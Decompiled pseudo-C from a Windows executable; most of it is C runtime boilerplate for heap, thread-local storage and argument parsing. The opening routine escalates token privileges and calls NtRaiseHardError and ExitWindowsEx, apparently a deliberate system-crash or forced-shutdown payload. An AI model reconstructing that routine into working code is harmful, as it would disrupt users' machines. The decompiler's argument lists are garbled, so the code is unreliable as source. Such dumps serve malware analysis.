eax65 = reinterpret_cast<int32_t>(GetCurrentProcess(40, v64, 0xc0000420, 0, 0, 0, 6, v63,
19, 1, 0, v62, eax60, "n", "NtRaiseHardError", eax57, "n", "RtlAdjustPrivilege", v46, v45, 0, 0, 0,
0x85, eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0, reinterpret_cast<uint32_t>(ebp2) +
0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0, 0x4020b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0x1388,
v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4,
v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0,
v13, 0, "Y", "S", 0x134, v10, v8, v5));
OpenProcessToken(eax65, 40, v64, 0xc0000420, 0, 0, 0, 6, v63, 19, 1, 0, v62, eax60, "n",
"NtRaiseHardError", eax57, "n", "RtlAdjustPrivilege", v46, v45, 0, 0, 0, 0x85, eax52, v50, eax49,
0x4e20, 0, 0, fun_4016b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c +
reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0, 0x4020b0, reinterpret_cast<uint32_t>(ebp2) +
0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0x1388, v35, v33, "D", 0, 4, v32, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S",
0x134, v10, v8, v5);
v66 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc20);
LookupPrivilegeValueW(0, "S", v66, eax65, 40, v64, 0xc0000420, 0, 0, 0, 6, v63, 19, 1, 0,
v62, eax60, "n", "NtRaiseHardError", eax57, "n", "RtlAdjustPrivilege", v46, v45, 0, 0, 0, 0x85,
eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0, reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c +
reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0, 0x4020b0, reinterpret_cast<uint32_t>(ebp2) +
0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0x1388, v35, v33, "D", 0, 4, v32, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4, v26, "D", 0, 4, v25, 4,
0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0, v13, 0, "Y", "S",
0x134, v10, v8, v5);
v67 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffc1c);
AdjustTokenPrivileges(v68, 0, v67, 0, 0, 0, 0, "S", v66, eax65, 40, v64, 0xc0000420, 0, 0, 0, 6,
v63, 19, 1, 0, v62, eax60, "n", "NtRaiseHardError", eax57, "n", "RtlAdjustPrivilege", v46, v45, 0,
0, 0, 0x85, eax52, v50, eax49, 0x4e20, 0, 0, fun_4016b0, reinterpret_cast<uint32_t>(ebp2) +
0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0, 0, 0x4020b0,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffc3c + reinterpret_cast<uint32_t>(esi48), 0, 0, 0x1388,
v35, v33, "D", 0, 4, v32, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v31, 0, v29, "D", 0, 4, v28, 4,
v26, "D", 0, 4, v25, 4, 0x80000001, "S", 0, 0, 0, 0xf013f, 0, v23, 0, v21, v19, v18, 0x200, v17, 0,
v13, 0, "Y", "S", 0x134, v10, v8, v5);
ExitWindowsEx();
Sleep();
ecx69 = v4 ^ reinterpret_cast<uint32_t>(ebp2);
eax70 = fun_402f62(ecx69, v68, 0, v67, 0, 0, 0, 0, ecx69, v68, 0, v67, 0, 0, 0, 0);
 return eax70;
addr_4010df_7:
ebx7(0, "F", "E", 16, "\\", 0x10000000, 3, 0, 3, 0, 0, 0, "F", "S", 0x134, 0, "Y", "S", 0x134, v10,
v8, v5);
CloseHandle(esi16, 0, "F", "E", 16, "\\", 0x10000000, 3, 0, 3, 0, 0, 0, "F", "S", 0x134, 0, "Y",
"S", 0x134, v10, v8, v5);
goto addr_4010f6_2;
}

void fun_405c91(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void** v10;
void** eax11;
void** esi12;
int32_t ebp13;
int32_t ebp14;
int32_t eax15;
int1_t zf16;
int32_t eax17;
void** v18;
void** eax19;
void** ebp20;
void** eax21;
void** eax22;
void** eax23;

v10 = reinterpret_cast<void**>(__return_address());
fun_40cab0(0x414948, 12, v10);
eax11 = fun_40695e(ecx, 0x414948, 12, v10, a2, a3, a4, a5, a6, a7, a8, a9);
esi12 = *reinterpret_cast<void***>(eax11 + 12);
if (esi12) {
*reinterpret_cast<uint32_t*>(ebp13 - 4) = 0;
ecx = esi12;
image_base_(ecx);
esi12(ecx);
*reinterpret_cast<int32_t*>(ebp14 - 4) = -2;
}
fun_405ccd(ecx, 0x414948, 12, v10, a2, a3, a4);
eax15 = fun_408a71(ecx);
if (eax15) {
fun_408acc(ecx, 22, 0x414948, 12, v10, a2, a3, a4, a5);
ecx = reinterpret_cast<void**>(22);
}
zf16 = (g416040 & 2) == 0;
 if (!zf16) {
eax17 = fun_40c86c(ecx, 23, 0x414948, 12, v10);
if (eax17) {
ecx = reinterpret_cast<void**>(7);
__asm__("int 0x29");
}
fun_405e62(ecx, 3, 0x40000015, 1, 23, 0x414948, 12, v10);
}
fun_40559b(ecx, 3);
if (!0 && (v18 = g417250, eax19 = reinterpret_cast<void**>(HeapFree(ecx, v18, 0,
0x414948)), !eax19)) {
eax21 = fun_4060e8(ecx, esi12, v18, 0, 0x414948, ebp20, 3, 0x414948, 12, v10);
eax22 = reinterpret_cast<void**>(GetLastError(ecx));
eax23 = fun_40606f(ecx, eax22);
*reinterpret_cast<void***>(eax21) = eax23;
}
goto 3;
}

signed char g416aa4;

signed char fun_4034c4(void** ecx, void** a2, signed char a3) {

int1_t zf4;
void** v5;

zf4 = g416aa4 == 0;
if (zf4 || !a3) {
fun_405c20(ecx, a2);
v5 = a2;
fun_403dbd(ecx, *reinterpret_cast<signed char*>(&v5));
}
return 1;
}

struct s70 {
signed char[16] pad16;
int32_t f10;
};

struct s71 {
signed char[8] pad8;
void** f8;
};
signed char g416dc0;

struct s72 {
signed char[8] pad8;
void** f8;
};

void** g416db8;

struct s73 {
signed char[12] pad12;
int32_t fc;
};

void fun_405366(void** ecx, void** a2, void** a3, void** a4) {

int32_t esi5;
struct s70* ebp6;
signed char al7;
void** v8;
struct s71* ebp9;
void** ecx10;
int32_t ebp11;
int1_t zf12;
int32_t ebp13;
void** v14;
struct s72* ebp15;
int32_t v16;
int32_t ebp17;
void** ecx18;
int32_t ebp19;
int32_t edi20;
struct s73* ebp21;
int32_t ebp22;
void** v23;
uint32_t ebx24;
void** ebx25;

fun_40cab0(0x4148c0, 12, __return_address());

esi5 = ebp6->f10;
if (!esi5 && (al7 = fun_4054c0(ecx), !!al7)) {
v8 = ebp9->f8;
fun_405504(ecx, v8, 0x4148c0, 12, __return_address());
ecx = v8;
}
fun_407a92(ecx, 2);
ecx10 = reinterpret_cast<void**>(2);
*reinterpret_cast<uint32_t*>(ebp11 - 4) = 0;
zf12 = g416dc0 == 0;
if (!zf12) {
addr_40543d_4:
*reinterpret_cast<int32_t*>(ebp13 - 4) = -2;
fun_405470(ecx10);
if (esi5) {
fun_40cb00(ecx10, 0x4148c0, 12, __return_address(), a2, a3, a4);
goto 0x4148c0;
} else {
v14 = ebp15->f8;
fun_40547f(ecx10, v14);
v16 = ***reinterpret_cast<int32_t***>(ebp17 - 20);
fun_405353(ecx10, v16);
goto v14;
}
} else {
ecx18 = reinterpret_cast<void**>(0x416db8);
g416db8 = reinterpret_cast<void**>(1);
*reinterpret_cast<int32_t*>(ebp19 - 4) = 1;
edi20 = ebp21->fc;
if (edi20) {
if (edi20 != 1) {
addr_405408_9:
*reinterpret_cast<uint32_t*>(ebp22 - 4) = 0;
if (!edi20) {
fun_4052b2(ecx18, 0x40e204, 0x40e214, 0x4148c0, 12, __return_address());
ecx18 = reinterpret_cast<void**>(0x40e214);
}
} else {
v23 = reinterpret_cast<void**>(0x416ddc);
goto addr_405402_12;
}
} else {
ebx24 = g416004;
__asm__("ror eax, cl");
ecx18 = g416dbc;
if (ecx18 != ebx24) {
ebx25 = reinterpret_cast<void**>(ebx24 ^ reinterpret_cast<unsigned char>(ecx18));
__asm__("ror ebx, cl");
ecx18 = ebx25;
image_base_(ecx18, 0, 0, 0);
 ebx25(ecx18, 0, 0, 0);
}
v23 = reinterpret_cast<void**>(0x416dd0);
goto addr_405402_12;
}
}
fun_4052b2(ecx18, 0x40e218, 0x40e21c, 0x4148c0, 12, __return_address());
ecx10 = reinterpret_cast<void**>(0x40e21c);
if (!esi5) {
g416dc0 = 1;
goto addr_40543d_4;
}
addr_405402_12:
fun_405a9f(ecx18);
ecx18 = v23;
goto addr_405408_9;
}

signed char fun_405c0e(void** ecx, void** a2);

signed char fun_403353(void** ecx, void** a2) {

signed char al3;
void** ebp4;
signed char al5;

if (!a2) {
g416aa4 = 1;
}
fun_403904();
al3 = fun_403d9e(ecx);
if (al3) {
al5 = fun_405c0e(ecx, ebp4);
if (al5) {
return 1;
} else {
fun_403dbd(ecx, 0);
}
}
return 0;
}

int32_t fun_404424(void** ecx, int32_t a2, int32_t a3, int32_t a4);

signed char fun_4041e7(void** ecx) {

 int32_t edi2;
uint32_t esi3;
int32_t eax4;
signed char al5;

edi2 = 0x416b14;
esi3 = 0;
do {
eax4 = fun_404424(ecx, edi2, 0xfa0, 0);
if (!eax4)
break;
++g416b2c;
esi3 = esi3 + 24;
edi2 = edi2 + 24;
} while (esi3 < 24);
goto addr_404215_4;
fun_404223();
al5 = 0;
addr_404220_6:
return al5;
addr_404215_4:
al5 = 1;
goto addr_404220_6;
}

signed char fun_40880b(void** ecx, void** a2, void** a3, void** a4, void** a5);

signed char fun_405c0e(void** ecx, void** a2) {

signed char al3;

al3 = fun_40880b(ecx, 0x40edb0, 0x40ee28, __return_address(), a2);

return al3;
}

signed char g416aa5;

int32_t g416aac;

int32_t g416ab0;

int32_t g416ab4;

int32_t g416ab8;
int32_t g416abc;

signed char fun_40338c(void** ecx, int32_t a2, void** a3, void** a4) {
int1_t zf5;
uint32_t eax6;
uint32_t eax7;
uint32_t eax8;
signed char al9;
int1_t zf10;
int32_t eax11;
struct s8* eax12;
signed char al13;

zf5 = g416aa5 == 0;
if (!zf5) {
return 1;
}
if (!a2 || a2 == 1) {
eax6 = fun_403ad5();
if (!eax6 || a2) {
g416aa8 = -1;
g416aac = -1;
g416ab0 = -1;
g416ab4 = -1;
g416ab8 = -1;
g416abc = -1;
goto addr_4033ff_6;
} else {
eax7 = fun_405abc(ecx, 0x416aa8);
if (eax7 || (eax8 = fun_405abc(0x416aa8, 0x416ab4), !!eax8)) {
al9 = 0;
} else {
addr_4033ff_6:
g416aa5 = 1;
al9 = 1;
}
return al9;
}
}
fun_403647(ecx, 5);
fun_4038a0(ecx, 0x414880, 8, 5);
zf10 = image_base_ == 0x5a4d;
if (!zf10)
goto addr_40348e_12;
 eax11 = g40003c;
if (*reinterpret_cast<int32_t*>(eax11 + 0x400000) != 0x4550)
goto addr_40348e_12;
if (*reinterpret_cast<int16_t*>(eax11 + 0x400018) != 0x10b)
goto addr_40348e_12;
eax12 = fun_4032dd(0x400000, a2 - 0x400000);
if (!eax12)
goto addr_40348e_12;
if (eax12->f24 >= 0)
goto addr_40346d_17;
addr_40348e_12:
al13 = 0;
addr_403497_18:
g0 = reinterpret_cast<void**>(0x414880);
return al13;
addr_40346d_17:
al13 = 1;
goto addr_403497_18;
}

void** fun_40888e(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** v6;
void** v7;
void** ebp8;
void*** ebp9;
uint32_t eax10;
void** v11;
struct s33* esi12;
void* edi13;
void** eax14;

v6 = reinterpret_cast<void**>(__return_address());
v7 = ebp8;
ebp9 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax10 = g416004;
v11 = reinterpret_cast<void**>(eax10 ^ reinterpret_cast<uint32_t>(ebp9));
if (a2 != a3) {
esi12 = reinterpret_cast<struct s33*>(a3 + 0xfffffffc);
do {
edi13 = esi12->f0;
if (edi13) {
image_base_(edi13);
edi13(edi13);
}
 esi12 = reinterpret_cast<struct s33*>(reinterpret_cast<uint32_t>(esi12) - 8);
} while (!reinterpret_cast<int1_t>(&esi12->f4 == a2));
}
eax14 = fun_402f62(reinterpret_cast<unsigned char>(v11) ^
reinterpret_cast<uint32_t>(ebp9), v11, v7, v6, a2, a3, a4, a5);
return eax14;
}

void** fun_405c32(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** ecx7;
void** eax8;
void** eax9;
void** eax10;
void** esi11;
void** ebp12;
void** eax13;

ecx7 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a3) & 0xfff7ffff);

if (!(reinterpret_cast<unsigned char>(a2) & reinterpret_cast<unsigned char>(ecx7) &
0xfcf0fce0)) {
if (!a1) {
fun_408d7f(a2, ecx7);
} else {
eax8 = fun_408d7f(a2, ecx7);
*reinterpret_cast<void***>(a1) = eax8;
}
eax9 = reinterpret_cast<void**>(0);
} else {
if (a1) {
eax10 = fun_408d7f(0, 0);
ecx7 = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a1) = eax10;
}
eax13 = fun_4060e8(ecx7, esi11, ebp12, __return_address(), a1, a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax13) = reinterpret_cast<void**>(22);
fun_40602c(ecx7, esi11, ebp12, __return_address(), a1);
eax9 = reinterpret_cast<void**>(22);
}
return eax9;
}

int32_t fun_405800(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10);
int32_t fun_405af9(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void*** ebp6;
void** ebp7;
int32_t eax8;

ebp6 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax8 = fun_405800(2, ebp6 + 0xfffffff8, ebp6 + 8, ebp6 + 12, ebp7, __return_address(), a2,
a3, a4, a5);
return eax8;
}

int32_t fun_4037e7(void** ecx, void** a2, void** a3, void** a4, void** a5);

void fun_4037db() {
SetUnhandledExceptionFilter();
goto fun_4037e7;
}

struct s18* fun_403f56(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void**
a7);

void*** fun_403be7(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
struct s18* eax7;

eax7 = fun_403f56(ecx, __return_address(), a2, a3, a4, a5, a6);

return &eax7->f10;
}

void*** fun_403bf0(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
struct s18* eax7;

eax7 = fun_403f56(ecx, __return_address(), a2, a3, a4, a5, a6);

return &eax7->f14;
}

int32_t fun_403b8f(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** esi6;
void** edi7;
void** esi8;
void** ebp9;
struct s18* eax10;
void** esi11;
struct s18* eax12;
 if (*reinterpret_cast<signed char*>(&a3)) {
esi6 = *reinterpret_cast<void***>(a2);
if (!(!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(esi6) == 0xe06d7363) ||
(!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(esi6 + 16) == 3) ||
*reinterpret_cast<void***>(esi6 + 20) != 0x19930520 && (*reinterpret_cast<void***>(esi6 + 20)
!= 0x19930521 && *reinterpret_cast<void***>(esi6 + 20) != 0x19930522)))) {
eax10 = fun_403f56(ecx, edi7, esi8, ebp9, __return_address(), a2, a3);
eax10->f10 = esi6;
esi11 = *reinterpret_cast<void***>(a2 + 4);
eax12 = fun_403f56(ecx, edi7, esi8, ebp9, __return_address(), a2, a3);
eax12->f14 = esi11;
fun_405c91(ecx, edi7, esi8, ebp9, __return_address(), a2, a3, a4, a5);
fun_403f56(ecx, edi7, esi8, ebp9, __return_address(), a2, a3);
goto edi7;
}
}
return 0;
}

struct s18* fun_403f56(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7)
{
struct s18* eax8;
int32_t eax9;
int1_t zf10;
int32_t eax11;
void** v12;
void** eax13;
void** esi14;
void** ebp15;
void** eax16;
void** eax17;
void** eax18;

eax8 = fun_403f64(ecx);
if (!eax8) {
eax9 = fun_408a71(ecx);
if (eax9) {
fun_408acc(ecx, 22, __return_address(), a2, a3, a4, a5, a6, a7);
ecx = reinterpret_cast<void**>(22);
}
zf10 = (g416040 & 2) == 0;
if (!zf10) {
eax11 = fun_40c86c(ecx, 23, __return_address(), a2, a3);
if (eax11) {
 ecx = reinterpret_cast<void**>(7);
__asm__("int 0x29");
}
fun_405e62(ecx, 3, 0x40000015, 1, 23, __return_address(), a2, a3);
}
fun_40559b(ecx, 3);
if (__return_address() && (v12 = g417250, eax13 =
reinterpret_cast<void**>(HeapFree(ecx, v12, 0, __return_address())), !eax13)) {
eax16 = fun_4060e8(ecx, esi14, v12, 0, __return_address(), ebp15, 3,
__return_address(), a2, a3);
eax17 = reinterpret_cast<void**>(GetLastError(ecx));
eax18 = fun_40606f(ecx, eax17);
*reinterpret_cast<void***>(eax16) = eax18;
}
goto 3;
} else {
return eax8;
}
}

void** fun_40cb70(void** ecx, void** a2) {

int1_t less3;

less3 = reinterpret_cast<int32_t>(g416ae0) < reinterpret_cast<int32_t>(1);

if (less3 || a2 != 0xc00002b4 && !reinterpret_cast<int1_t>(a2 == 0xc00002b5)) {
return a2;
}
}

void fun_404050(void** a1, void** a2, void** a3, void** a4) {

int32_t eax5;
struct s6* ecx6;

eax5 = image_base_;
if (eax5 != fun_403603 && ((ecx6 = g18, *reinterpret_cast<uint32_t*>(a1 + 0xc4) < ecx6->f8)
|| *reinterpret_cast<uint32_t*>(a1 + 0xc4) > ecx6->f4)) {
__asm__("int 0x29");
}
return;
}

int32_t RtlUnwind = 0x15316;

void fun_4041b0(void** ecx) {

 int32_t edi2;

RtlUnwind();
goto edi2;
}

struct s74 {
int32_t f0;
signed char[20] pad24;
int16_t f18;
};

int32_t fun_40c990(struct s14* a1) {

struct s74* eax2;

if (a1->f0 != 0x5a4d || ((eax2 = reinterpret_cast<struct s74*>(a1->f3c +

reinterpret_cast<int32_t>(a1)), eax2->f0 != 0x4550) || eax2->f18 != 0x10b)) {
return 0;
} else {
return 1;
}
}

void** fun_404335(void** ecx, int32_t a2);

void fun_403f3a(void** ecx, void** a2);

signed char fun_403ff6(void** ecx) {

void** eax2;
int32_t eax3;

eax2 = fun_404335(ecx, fun_403f3a);

g416020 = eax2;
if (!reinterpret_cast<int1_t>(eax2 == 0xffffffff)) {
eax3 = fun_4043e6(fun_403f3a, eax2, 0x416aec);
if (eax3) {
return 1;
} else {
fun_404029(0x416aec);
}
}
return 0;
}
void** fun_405d15(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** v8;
void** v9;
void** ebp10;
void** v11;
void** esi12;
void** esi13;
void** v14;
int32_t eax15;
void** eax16;
void** eax17;
void** eax18;

v8 = reinterpret_cast<void**>(__return_address());
v9 = ebp10;
v11 = esi12;
if (!a2 || reinterpret_cast<unsigned char>(0xe0 / reinterpret_cast<unsigned char>(a2)) >=
reinterpret_cast<unsigned char>(a3)) {
esi13 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a2) *
reinterpret_cast<unsigned char>(a3));
if (!esi13) {
++esi13;
}
do {
v14 = g417250;
eax15 = reinterpret_cast<int32_t>(HeapAlloc(ecx, v14, 8, esi13));
if (eax15)
break;
eax16 = fun_4056fb(ecx, v14, 8, esi13, v11);
} while (eax16 && (eax17 = fun_4088ef(ecx, esi13, v14, 8, esi13, v11), ecx = esi13,
!!eax17));
goto addr_406c36_7;
} else {
addr_406c36_7:
eax18 = fun_4060e8(ecx, v11, v9, v8, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax18) = reinterpret_cast<void**>(12);
goto addr_406c43_8;
}
addr_406c43_8:
goto v8;
}

int32_t fun_4043ab(void** ecx, void** a2) {

int32_t eax3;
 int32_t ebp4;

eax3 = fun_4042ec(ecx, 2, "FlsGetValue", 0x40ec9c, "FlsGetValue");

if (!eax3) {
TlsGetValue();
} else {
image_base_(eax3);
eax3(eax3);
}
goto ebp4;
}

int32_t fun_4042ec(void** ecx, int32_t a2, int32_t a3, int32_t* a4, int32_t* a5) {
int32_t* edi6;
int32_t eax7;
uint32_t eax8;

edi6 = reinterpret_cast<int32_t*>(a2 * 4 + 0x416b78);

eax7 = *edi6;
if (eax7 != -1) {
if (eax7) {
addr_404331_3:
return eax7;
} else {
eax8 = fun_404252(ecx, a4, a5);
if (!eax8 || (eax7 = reinterpret_cast<int32_t>(GetProcAddress(a5, eax8, a3)), eax7 == 0))
{
*edi6 = -1;
} else {
*edi6 = eax7;
goto addr_404331_3;
}
}
}
eax7 = 0;
goto addr_404331_3;
}

int32_t fun_404424(void** ecx, int32_t a2, int32_t a3, int32_t a4) {

int32_t eax5;
int32_t esi6;

eax5 = fun_4042ec(ecx, 4, "InitializeCriticalSectionEx", 0x40ecc4,

"InitializeCriticalSectionEx");
 if (!eax5) {
InitializeCriticalSectionAndSpinCount();
} else {
image_base_(eax5, a2);
eax5(eax5, a2);
}
goto esi6;
}

int32_t TlsAlloc = 0x153b2;

void** fun_404335(void** ecx, int32_t a2) {

int32_t eax3;
int32_t ebp4;

eax3 = fun_4042ec(ecx, 0, "FlsAlloc", 0x40ec78, "FlsAlloc");

if (!eax3) {
goto TlsAlloc;
} else {
image_base_(eax3);
eax3(eax3);
goto ebp4;
}
}

void** fun_4069e2(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** v12;
void** v13;
void** esi14;
void** eax15;
void** edi16;
void** ebx17;
void** eax18;
void** eax19;
void** v20;
void** eax21;
void** v22;

v12 = reinterpret_cast<void**>(__return_address());
v13 = esi14;
GetLastError(ecx);
eax15 = g416058;
if (eax15 == 0xffffffff)
 goto addr_406a07_2;
eax18 = fun_4062be(ecx, eax15, edi16, v13, ebx17, v12);
if (eax18)
goto addr_406a58_4;
addr_406a07_2:
eax19 = fun_406be9(ecx, 1, 0x364, edi16, v13, ebx17, v12, a2);
ecx = reinterpret_cast<void**>(0x364);
if (eax19) {
v20 = g416058;
eax21 = fun_406314(0x364, v20, eax19);
if (eax21) {
fun_4067d0(0x364, eax19, 0x417244);
fun_406c46(0x364, 0, eax19, 0x7244, edi16, v13, ebx17, v12, a2, a3, a4, a5, a6, a7, a8,
a9);
if (eax19) {
addr_406a58_4:
SetLastError(ecx);
} else {
addr_406a4f_7:
SetLastError(ecx);
}
goto ebx17;
} else {
v22 = eax19;
}
} else {
v22 = reinterpret_cast<void**>(0);
}
fun_406c46(0x364, v22, edi16, v13, ebx17, v12, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
ecx = v22;
goto addr_406a4f_7;
}

uint32_t g416de8;

void** fun_405fb1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void*** ebp12;
uint32_t eax13;
void** v14;
void** esi15;
void** ebp16;
void** eax17;
uint32_t esi18;
 void** v19;
uint32_t esi20;
void** v21;
void** ecx22;
void** v23;
void** v24;
void** v25;
void** eax26;

ebp12 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax13 = g416004;
v14 = reinterpret_cast<void**>(eax13 ^ reinterpret_cast<uint32_t>(ebp12));
eax17 = fun_4069e2(ecx, esi15, v14, ebp16, __return_address(), a2, a3, a4, a5, a6, a7);
if (!eax17 || (esi18 = *reinterpret_cast<uint32_t*>(eax17 + 0x35c), esi18 == 0)) {
v19 = a6;
esi20 = g416004;
v21 = a5;
esi18 = esi20 ^ g416de8;
ecx22 = reinterpret_cast<void**>(esi20 & 31);
v23 = a4;
__asm__("ror esi, cl");
v24 = a3;
v25 = a2;
if (!esi18) {
fun_40603c(ecx22, v25, v24, v23, v21, v19);
fun_405fb1(ecx22, 0, 0, 0, 0, 0, v25, v24, v23, v21, v19);
goto v25;
}
} else {
v19 = a6;
v21 = a5;
v23 = a4;
v24 = a3;
v25 = a2;
}
image_base_(esi18, v25, v24, v23, v21, v19);
esi18(esi18, v25, v24, v23, v21, v19);
eax26 = fun_402f62(reinterpret_cast<unsigned char>(v14) ^
reinterpret_cast<uint32_t>(ebp12), v14, ebp16, __return_address(), a2, a3, a4, a5);
return eax26;
}

void** fun_4060fb(int32_t a1, void** a2, void*** a3, void*** a4, void** a5) {
void** v6;
void** edi7;
void*** ebx8;
uint32_t edx9;
void** ecx10;
void** esi11;
void** eax12;
void*** esi13;
void** eax14;
void** v15;
void** eax16;
void** eax17;

v6 = edi7;
ebx8 = reinterpret_cast<void***>(a1 * 4 + 0x416e40);
edx9 = g416004;
ecx10 = reinterpret_cast<void**>(edx9 & 31);
esi11 = reinterpret_cast<void**>(edx9 ^ reinterpret_cast<unsigned char>(*ebx8));
__asm__("ror esi, cl");
if (esi11 == 0xffffffff) {
addr_406190_2:
eax12 = reinterpret_cast<void**>(0);
} else {
if (!esi11) {
esi13 = a3;
if (esi13 == a4) {
addr_406151_5:
eax14 = reinterpret_cast<void**>(0);
goto addr_406153_6;
} else {
do {
v15 = *esi13;
eax14 = fun_406197(ecx10, v15);
ecx10 = v15;
if (eax14)
goto addr_406172_8;
esi13 = esi13 + 4;
} while (esi13 != a4);
goto addr_40614b_10;
}
} else {
addr_40612b_11:
eax12 = esi11;
}
}
 return eax12;
addr_406153_6:
if (!eax14) {
addr_406180_13:
__asm__("ror edi, cl");
*ebx8 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(0xffffffff) ^ edx9);
goto addr_406190_2;
} else {
eax16 = reinterpret_cast<void**>(GetProcAddress(ecx10, eax14, a2));
esi11 = eax16;
if (!esi11) {
edx9 = g416004;
goto addr_406180_13;
} else {
eax17 = fun_404c5d(ecx10, esi11, eax14, a2, v6);
*ebx8 = eax17;
goto addr_40612b_11;
}
}
addr_406172_8:
edx9 = g416004;
goto addr_406153_6;
addr_40614b_10:
edx9 = g416004;
goto addr_406151_5;
}

void fun_404cc6(void** a1, void** a2, void** a3, void** a4) {

fun_404c7c(0x416b94, a1);
return;
}

void fun_404e57(void** a1, void** a2, void** a3, void** a4, int32_t* a5) {
void** ecx6;
void** edx7;
void** esi8;
int32_t ebx9;
int32_t* edi10;
uint32_t eax11;
int1_t zf12;
void** ebx13;
unsigned char v14;
uint32_t eax15;
uint32_t v16;
 uint32_t eax17;
int1_t zf18;
int1_t zf19;
uint32_t eax20;

ecx6 = a1;
edx7 = a3;
esi8 = a2;
ebx9 = 0;
edi10 = a5;
*edi10 = 0;
*reinterpret_cast<void***>(a4) = reinterpret_cast<void**>(1);
if (esi8) {
*reinterpret_cast<void***>(esi8) = edx7;
esi8 = esi8 + 4;
a2 = esi8;
}
while (1) {
eax11 = 34;
do {
if (!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ecx6) == 34)) {
*edi10 = *edi10 + 1;
if (edx7) {
*reinterpret_cast<void***>(edx7) = *reinterpret_cast<void***>(ecx6);
edx7 = edx7 + 2;
}
eax11 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx6));
ecx6 = ecx6 + 2;
if (!*reinterpret_cast<void***>(&eax11))
goto addr_404ee0_9;
} else {
*reinterpret_cast<unsigned char*>(&ebx9) =
reinterpret_cast<uint1_t>(*reinterpret_cast<unsigned char*>(&ebx9) == 0);
ecx6 = ecx6 + 2;
}
if (*reinterpret_cast<unsigned char*>(&ebx9))
break;
} while (*reinterpret_cast<void***>(&eax11) != 32 && (zf12 =
reinterpret_cast<int1_t>(*reinterpret_cast<void***>(&eax11) == 9), eax11 = 34, !zf12));
goto addr_404ed4_13;
}
addr_404ee0_9:
ecx6 = ecx6 - 2;
addr_404ee3_14:
 ebx13 = a4;
v14 = 0;
while (*reinterpret_cast<void***>(ecx6)) {
while ((eax15 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx6)),
*reinterpret_cast<void***>(&eax15) == 32) ||
reinterpret_cast<int1_t>(*reinterpret_cast<void***>(&eax15) == 9)) {
ecx6 = ecx6 + 2;
}
if (!*reinterpret_cast<void***>(ecx6))
break;
if (esi8) {
*reinterpret_cast<void***>(esi8) = edx7;
a2 = esi8 + 4;
}
*reinterpret_cast<void***>(ebx13) = *reinterpret_cast<void***>(ebx13) + 1;
while (1) {
v16 = 1;
eax17 = 0;
while (*reinterpret_cast<void***>(ecx6) == 92) {
ecx6 = ecx6 + 2;
++eax17;
}
zf18 = reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ecx6) == 34);
if (zf18) {
if (!(*reinterpret_cast<unsigned char*>(&eax17) & 1)) {
if (!v14 || (zf19 = reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ecx6 + 2) ==
34), !zf19)) {
v16 = 0;
v14 = reinterpret_cast<uint1_t>(v14 == 0);
} else {
ecx6 = ecx6 + 2;
}
}
edi10 = a5;
eax17 = eax17 >> 1;
}
while (eax17) {
--eax17;
if (edx7) {
